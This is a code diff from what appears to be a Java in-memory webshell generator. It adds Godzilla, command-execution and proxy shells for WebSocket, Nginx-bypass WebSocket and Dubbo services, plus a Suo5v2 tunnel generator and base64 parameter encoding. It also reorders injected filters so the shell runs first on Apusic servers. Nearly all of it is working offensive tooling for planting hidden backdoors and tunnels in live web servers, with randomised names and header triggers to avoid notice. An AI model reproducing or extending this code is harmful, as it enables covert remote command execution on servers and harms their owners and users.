@@ -9,6 +9,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.*;
import com.reajason.javaweb.memshell.shelltool.neoreg.*; import com.reajason.javaweb.memshell.shelltool.neoreg.*;
import com.reajason.javaweb.memshell.shelltool.suo5.*; import com.reajason.javaweb.memshell.shelltool.suo5.*;
import com.reajason.javaweb.memshell.shelltool.suo5v2.*; import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
import com.reajason.javaweb.memshell.shelltool.wsproxy.ProxyWebSocket;
import java.util.Collections; import java.util.Collections;
import java.util.List; import java.util.List;
@@ -46,6 +47,7 @@ public class ServerFactory {
register(Server.SpringWebFlux, SpringWebFlux::new); register(Server.SpringWebFlux, SpringWebFlux::new);
register(Server.XXLJOB, XxlJob::new); register(Server.XXLJOB, XxlJob::new);
register(Server.Struct2, Struct2::new); register(Server.Struct2, Struct2::new);
register(Server.Dubbo, Dubbo::new);
addToolMapping(ShellTool.Godzilla, ToolMapping.builder() addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(SERVLET, GodzillaServlet.class) .addShellClass(SERVLET, GodzillaServlet.class)
@@ -60,6 +62,8 @@ public class ServerFactory {
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class) .addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
.addShellClass(WEBSOCKET, GodzillaWebSocket.class) .addShellClass(WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class) .addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
@@ -137,6 +141,8 @@ public class ServerFactory {
.addShellClass(JAKARTA_PROXY_VALVE, Command.class) .addShellClass(JAKARTA_PROXY_VALVE, Command.class)
.addShellClass(WEBSOCKET, CommandWebSocket.class) .addShellClass(WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class) .addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
.addShellClass(BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
.addShellClass(UPGRADE, CommandUpgrade.class) .addShellClass(UPGRADE, CommandUpgrade.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
@@ -157,6 +163,8 @@ public class ServerFactory {
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
.addShellClass(ACTION, CommandStruct2Action.class) .addShellClass(ACTION, CommandStruct2Action.class)
.addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class)
.addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class)
.build()); .build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder() addToolMapping(ShellTool.Suo5, ToolMapping.builder()
@@ -235,6 +243,13 @@ public class ServerFactory {
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
.addShellClass(ACTION, NeoreGeorgStruct2Action.class) .addShellClass(ACTION, NeoreGeorgStruct2Action.class)
.build()); .build());
addToolMapping(ShellTool.Proxy, ToolMapping.builder()
.addShellClass(WEBSOCKET, ProxyWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, ProxyWebSocket.class)
.addShellClass(BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
.build());
} }
public static void register(String serverName, Supplier<AbstractServer> shellSupplier) { public static void register(String serverName, Supplier<AbstractServer> shellSupplier) {
@@ -12,5 +12,6 @@ public class ShellTool {
public static final String Suo5v2 = "Suo5v2"; public static final String Suo5v2 = "Suo5v2";
public static final String AntSword = "AntSword"; public static final String AntSword = "AntSword";
public static final String NeoreGeorg = "NeoreGeorg"; public static final String NeoreGeorg = "NeoreGeorg";
public static final String Proxy = "Proxy";
public static final String Custom = "Custom"; public static final String Custom = "Custom";
} }
@@ -23,10 +23,11 @@ public class ShellToolFactory {
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class); register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class); register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class); register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
register(ShellTool.Suo5v2, Suo5Generator.class, Suo5Config.class); register(ShellTool.Suo5v2, Suo5V2Generator.class, Suo5Config.class);
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class); register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class); register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class); register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
register(ShellTool.Proxy, ProxyGenerator.class, ProxyConfig.class);
} }
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) { public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
@@ -45,7 +45,13 @@ public class ShellType {
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod"; public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction"; public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
public static final String WEBSOCKET = "WebSocket"; public static final String WEBSOCKET = "WebSocket";
public static final String BYPASS_NGINX_WEBSOCKET = "BypassNginx" + WEBSOCKET;
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket"; public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
public static final String ACTION = "Action"; public static final String ACTION = "Action";
public static final String DUBBO_SERVICE = "DubboService";
public static final String APACHE_DUBBO_SERVICE = "Apache" + DUBBO_SERVICE;
public static final String ALIBABA_DUBBO_SERVICE = "Alibaba" + DUBBO_SERVICE;
} }
@@ -22,6 +22,18 @@ public class CommandConfig extends ShellToolConfig {
@Builder.Default @Builder.Default
private String paramName = CommonUtil.getRandomString(8); private String paramName = CommonUtil.getRandomString(8);
/**
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
*/
@Builder.Default
private String headerName = "User-Agent";
/**
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
*/
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
/** /**
* 加密器 * 加密器
*/ */
@@ -35,7 +47,7 @@ public class CommandConfig extends ShellToolConfig {
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec; private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
/** /**
* 命令执行模板,例如 sh -c "{command}" 2>&1使用 {command} 作为占位符 * 命令执行模板,使用 {command} 作为占位符
*/ */
private String template; private String template;
@@ -48,6 +60,22 @@ public class CommandConfig extends ShellToolConfig {
} }
return self(); return self();
} }
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
} }
@@ -63,12 +91,15 @@ public class CommandConfig extends ShellToolConfig {
} }
public enum Encryptor { public enum Encryptor {
RAW, DOUBLE_BASE64; RAW, BASE64, DOUBLE_BASE64;
public static Encryptor fromString(String encryptor) { public static Encryptor fromString(String encryptor) {
if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) { if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
return DOUBLE_BASE64; return DOUBLE_BASE64;
} }
if (encryptor != null && encryptor.equals("BASE64")) {
return BASE64;
}
return RAW; return RAW;
} }
} }
@@ -16,37 +16,44 @@ import net.bytebuddy.dynamic.DynamicType;
@AllArgsConstructor @AllArgsConstructor
@Builder(toBuilder = true) @Builder(toBuilder = true)
public class InjectorConfig { public class InjectorConfig {
/**
* 注入器 Builder
*/
DynamicType.Builder<?> injectorBuilder;
/**
* 内存马 Builder
*/
DynamicType.Builder<?> shellBuilder;
/** /**
* 注入器模板类 * 注入器模板类
*/ */
private Class<?> injectorClass; private Class<?> injectorClass;
/** /**
* 注入器类名 * 注入器类名
*/ */
@Builder.Default @Builder.Default
private String injectorClassName = CommonUtil.generateInjectorClassName(); private String injectorClassName = CommonUtil.generateInjectorClassName();
/**
* 辅助类类名
*/
private String injectorHelperClassName;
/** /**
* 注入访问的地址 * 注入访问的地址
*/ */
@Builder.Default @Builder.Default
private String urlPattern = "/*"; private String urlPattern = "/*";
/** /**
* 内存马类名 * 内存马类名
*/ */
private String shellClassName; private String shellClassName;
/** /**
* 内存马类字节 * 内存马类字节
*/ */
private byte[] shellClassBytes; private byte[] shellClassBytes;
/**
* 辅助类字节码
*/
private byte[] helperClassBytes;
/** /**
* 添加静态代码块调用构造方法初始化 * 添加静态代码块调用构造方法初始化
*/ */
@@ -0,0 +1,38 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
@Getter
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
@ToString
public class ProxyConfig extends ShellToolConfig {
@Builder.Default
private String headerName = "User-Agent";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
public static abstract class ProxyConfigBuilder<C extends ProxyConfig, B extends ProxyConfig.ProxyConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
}
@@ -73,12 +73,18 @@ public class ShellConfig {
@Builder.Default @Builder.Default
private boolean lambdaSuffix = false; private boolean lambdaSuffix = false;
/**
* 将 Java EE 转换为 Jakarta EE 类名
*/
@Builder.Default
private boolean jakarta = false;
public boolean isDebugOff() { public boolean isDebugOff() {
return !debug; return !debug;
} }
public boolean isJakarta() { public boolean isJakarta() {
return shellType.startsWith(ShellType.JAKARTA); return jakarta || shellType.startsWith(ShellType.JAKARTA);
} }
public boolean needByPassJavaModule() { public boolean needByPassJavaModule() {
@@ -23,6 +23,10 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
protected abstract DynamicType.Builder<?> getBuilder(); protected abstract DynamicType.Builder<?> getBuilder();
protected byte[] postProcessBytes(byte[] classBytes) {
return classBytes;
}
@Override @Override
public byte[] getBytes() { public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder(); DynamicType.Builder<?> builder = getBuilder();
@@ -42,7 +46,8 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())); .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
try (DynamicType.Unloaded<?> unloaded = builder.make()) { try (DynamicType.Unloaded<?> unloaded = builder.make()) {
return ProcessorRegistry.applyByteProcessors(unloaded.getBytes(), shellConfig, shellToolConfig); byte[] bytes = postProcessBytes(unloaded.getBytes());
return ProcessorRegistry.applyByteProcessors(bytes, shellConfig, shellToolConfig);
} }
} }
} }
@@ -0,0 +1,19 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.shelltool.ShellDubboService;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
public class DubboServiceInterfaceHelperGenerator {
public static byte[] getBytes(String interfaceName, ShellConfig shellConfig) {
try (DynamicType.Unloaded<ShellDubboService> make = new ByteBuddy()
.redefine(ShellDubboService.class)
.name(interfaceName)
.make()) {
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
}
}
@@ -49,6 +49,12 @@ public class InjectorGenerator {
.method(named("getBase64String")).intercept(FixedValue.value(base64String)) .method(named("getBase64String")).intercept(FixedValue.value(base64String))
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName())); .method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
byte[] helperClassBytes = injectorConfig.getHelperClassBytes();
if (helperClassBytes != null) {
String helperBase64 = Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(helperClassBytes));
builder = builder.method(named("getHelperBase64String")).intercept(FixedValue.value(helperBase64));
}
if (shellConfig.needByPassJavaModule()) { if (shellConfig.needByPassJavaModule()) {
builder = ByPassJavaModuleInterceptor.extend(builder); builder = ByPassJavaModuleInterceptor.extend(builder);
} }
@@ -17,13 +17,13 @@ public final class ProcessorRegistry {
private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList( private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList(
new ListenerBuilderModifier(), new ListenerBuilderModifier(),
new ValveBuilderModifier(), new ValveBuilderModifier(),
new JakartaBuilderModifier(),
new DebugOffBuilderModifier() new DebugOffBuilderModifier()
); );
private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList( private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
new ShrinkPostProcessor(), new JakartaPostProcessor(),
new JettyHandlerPostProcessor() new JettyHandlerPostProcessor(),
new ShrinkPostProcessor()
); );
private ProcessorRegistry() { private ProcessorRegistry() {
@@ -0,0 +1,17 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.ProxyConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
public class ProxyGenerator extends ByteBuddyShellGenerator<ProxyConfig> {
public ProxyGenerator(ShellConfig shellConfig, ProxyConfig shellToolConfig) {
super(shellConfig, shellToolConfig);
}
@Override
protected DynamicType.Builder<?> getBuilder() {
return new ByteBuddy().redefine(shellToolConfig.getShellClass());
}
}
@@ -0,0 +1,46 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.Suo5Config;
import com.reajason.javaweb.memshell.shelltool.suo5v2.Suo5v2;
import com.reajason.javaweb.utils.CommonUtil;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.codec.binary.Base64;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2025/2/12
*/
public class Suo5V2Generator extends ByteBuddyShellGenerator<Suo5Config> {
public Suo5V2Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
super(shellConfig, suo5Config);
}
@Override
protected DynamicType.Builder<?> getBuilder() {
if (Suo5v2.class.equals(shellToolConfig.getShellClass())) {
return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
}
try (DynamicType.Unloaded<Suo5v2> unloaded = new ByteBuddy()
.redefine(Suo5v2.class)
.name(CommonUtil.generateClassName())
.field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue())
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
.make()) {
byte[] shrinkBytes = ClassBytesShrink.shrink(unloaded.getBytes(), true);
return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("suo5V2GZipBase64")).value(Base64.encodeBase64String(CommonUtil.gzipCompress(shrinkBytes)));
}
}
}
@@ -0,0 +1,54 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.lang3.tuple.Pair;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2026/1/13
*/
public class WebSocketByPassHelperGenerator {
public static byte[] getBytes(String helperClassName, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
if (headerPair == null) {
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
}
if (Server.Tomcat.equals(shellConfig.getServer())) {
DynamicType.Builder<TomcatWsBypassValve> builder = new ByteBuddy()
.redefine(TomcatWsBypassValve.class)
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.field(named("headerName")).value(headerPair.getKey())
.field(named("headerValue")).value(headerPair.getValue())
.name(helperClassName);
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
try (DynamicType.Unloaded<TomcatWsBypassValve> dynamicType = builder.make()) {
return ClassBytesShrink.shrink(dynamicType.getBytes(), shellConfig.isShrink());
}
}
return null;
}
private static Pair<String, String> getHeaderPair(ShellToolConfig shellToolConfig) {
if (shellToolConfig instanceof CommandConfig) {
return Pair.of(((CommandConfig) shellToolConfig).getHeaderName(), ((CommandConfig) shellToolConfig).getHeaderValue());
} else if (shellToolConfig instanceof GodzillaConfig) {
return Pair.of(((GodzillaConfig) shellToolConfig).getHeaderName(), ((GodzillaConfig) shellToolConfig).getHeaderValue());
} else if (shellToolConfig instanceof ProxyConfig) {
return Pair.of(((ProxyConfig) shellToolConfig).getHeaderName(), ((ProxyConfig) shellToolConfig).getHeaderValue());
}
return null;
}
}
@@ -0,0 +1,16 @@
package com.reajason.javaweb.memshell.generator.command;
import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
/**
* @author ReaJason
* @since 2025/4/27
*/
public class Base64ParamInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception {
returnValue = ShellCommonUtil.base64DecodeToString(param);
}
}
@@ -42,6 +42,17 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString"))) .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam"))); .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
} }
if (CommandConfig.Encryptor.BASE64.equals(shellToolConfig.getEncryptor())) {
builder = builder
.visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
shellToolConfig.getShellClassName(), ShellCommonUtil.class.getName()))
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(String.class)
.throwing(Exception.class)
.intercept(FixedValue.nullValue())
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
.visit(Advice.to(Base64ParamInterceptor.class).on(named("getParam")));
}
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) { if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
builder = builder.visit(Advice.withCustomMapping() builder = builder.visit(Advice.withCustomMapping()
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate()) .bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
@@ -1,7 +1,6 @@
package com.reajason.javaweb.memshell.generator.command; package com.reajason.javaweb.memshell.generator.command;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import org.apache.commons.io.IOUtils;
import java.io.IOException; import java.io.IOException;
import java.io.InputStream; import java.io.InputStream;
@@ -1,22 +0,0 @@
package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
import net.bytebuddy.dynamic.DynamicType;
/**
* @author ReaJason
* @since 2025/12/7
*/
public class JakartaBuilderModifier implements Processor<DynamicType.Builder<?>> {
@Override
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
return builder;
}
}
@@ -0,0 +1,16 @@
package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
public class JakartaPostProcessor implements Processor<byte[]> {
@Override
public byte[] process(byte[] input, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
if (shellConfig.isJakarta()) {
return ClassRenameUtils.relocateJakarta(input);
}
return input;
}
}
@@ -17,6 +17,7 @@ import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.description.type.TypeDescription; import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue; import net.bytebuddy.implementation.FixedValue;
import net.bytebuddy.implementation.StubMethod;
import net.bytebuddy.matcher.ElementMatchers; import net.bytebuddy.matcher.ElementMatchers;
import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -46,12 +47,9 @@ public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>
TypeDescription typeDefinition, String newClassName) { TypeDescription typeDefinition, String newClassName) {
MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods(); MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
if (methods.filter(ElementMatchers.named("getResponseFromRequest") if (methods.filter(named("getResponseFromRequest").and(takesArguments(1))).isEmpty()) {
.and(ElementMatchers.takesArguments(Object.class)) throw new GenerationException("please add [getResponseFromRequest(Object request)] method," +
.and(ElementMatchers.returns(Object.class))) " the method body will be auto adapted for multi server");
.isEmpty()) {
throw new GenerationException("[public Object getResponseFromRequest(Object request)] method not found" +
" make sure arg and return type is Object.class");
} else { } else {
builder = builder builder = builder
.visit(MethodCallReplaceVisitorWrapper.newInstance( .visit(MethodCallReplaceVisitorWrapper.newInstance(
@@ -59,13 +57,11 @@ public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest"))); .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
} }
if (methods.filter(named("getFieldValue") if (methods.filter(named("getFieldValue").and(takesArguments(Object.class, String.class))).isEmpty()) {
.and(takesArguments(Object.class, String.class)))
.isEmpty()) {
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC) builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(Object.class, String.class) .withParameters(Object.class, String.class)
.throwing(Exception.class) .throwing(Exception.class)
.intercept(FixedValue.nullValue()) .intercept(StubMethod.INSTANCE)
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue"))); .visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
} }
return builder; return builder;
@@ -8,6 +8,7 @@ import java.lang.reflect.Array;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.HashSet; import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map; import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -43,7 +44,7 @@ public class ApusicFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -80,7 +81,7 @@ public class ApusicFilterInjector {
/** /**
* context: com.apusic.web.container.WebContainer * context: com.apusic.web.container.WebContainer
* context -> webapp: com.apusic.deploy.runtime.WebModule * context - webapp: com.apusic.deploy.runtime.WebModule
* /usr/local/ass/lib/apusic.jar * /usr/local/ass/lib/apusic.jar
*/ */
public Set<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
@@ -145,7 +146,12 @@ public class ApusicFilterInjector {
Object filterMapping = filterMappingClass.newInstance(); Object filterMapping = filterMappingClass.newInstance();
invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(webModule, "addBeforeFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping}); LinkedHashSet beforeFilterMappings = (LinkedHashSet) getFieldValue(webModule, "beforeFilterMappings");
LinkedHashSet newSet = new LinkedHashSet();
newSet.add(filterMapping);
newSet.addAll(beforeFilterMappings);
beforeFilterMappings.clear();
beforeFilterMappings.addAll(newSet);
// addFilterModel // addFilterModel
invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()}); invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
@@ -218,30 +224,25 @@ public class ApusicFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -6,7 +6,9 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -40,7 +42,7 @@ public class ApusicListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
